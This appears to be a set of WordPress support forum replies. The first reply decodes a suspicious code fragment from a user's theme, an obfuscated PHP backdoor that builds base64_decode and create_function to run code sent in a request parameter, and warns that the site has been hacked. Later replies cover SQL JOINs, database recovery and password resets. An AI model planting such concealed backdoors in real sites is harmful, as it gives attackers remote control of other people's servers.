RossMitchell

Your theme has serious issues as I discussed in another thread.
Suggest that until the theme is addressed that you not divert your efforts into investigations that will change their context anyway.

I am afraid that the code fragment you posted shows really suspect code, code that IMHX would never have a legit role in a website. I suspect that this code is only being shown because of another error. The code as I decode it is in part:

if(isset($_REQUEST[‘sort’])){
 $string = $_REQUEST[‘sort’];
 $array_name = ”;
 $alphabet = “wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2”;
#          1111111111222222222233333333334444444444
#01234567890123456789012345678901234567890123456789
#wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2
 $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7);
#            b  a  s e 6 4  _  d e  c  o  d e
 foreach($ar as $t){
	 $array_name .= $alphabet[$t];
 }
#$array_name = base64_decode
 $a = strrev(“noi”.”tcnuf”.”_eta”.”erc”);
#$a = create_function
 $f = $a(“”, $array_name($string));
# $f = function("", base64_decode($_REQUEST[‘sort’]));

Creating a function using base64_decode content is a very suspicious thing, the elaborate code used to conceal the base64 and “function” is indicative that scrutiny is feared.

So I am afraid that your website has been hacked.
Keep calm and follow these docs:
https://codex.wordpress.org/FAQ_My_site_was_hacked
https://codex.wordpress.org/Hardening_WordPress

You described the fields of the locations table, not how it is looked up. My question was reasonable. You clearly don’t need my assistance.

Bye.

A “JOIN” is a variation to the SQL “SELECT” statement, it lets you construct a synthetic database row that combines fields from multiple tables that match on specified criteria.
More details available here:
https://dev.mysql.com/doc/refman/5.7/en/select.html
https://dev.mysql.com/doc/refman/5.7/en/join.html

If you could list the fields from the main and locations tables that pertain to your question, and also provide say 3 rows of data covering say 2 different locations, and also the SELECT statement you use on the main table, then I will be able to show you how the join works.

Suggest also asking this question in the woocommerce support forum, there will be more people with more relevant experience there.

So you have the website files including images and plugins and themes, this is a good start.
The bigger part of a website is what is in the database, the pages + posts + menus and widgets etc. The AMPPS package will have used mySQL to manage the database, of course the database itself is stored in files, but these are wired into the mySQL server. Your challenge is to get these files from your failed drive, and get a working database server to access these old database within them, once you have done this you will be able to export the database and import it into your new AMPPS setup. Much of this is outside the scope of WordPress and relies upon AMPPS and mySQL configurations, so it is to their support forums that I direct you for the details.

This doc give you lots of different ways to break back into your website, all of the methods work, depending upon your circumstances some will be easier for you than others.
https://codex.wordpress.org/Resetting_Your_Password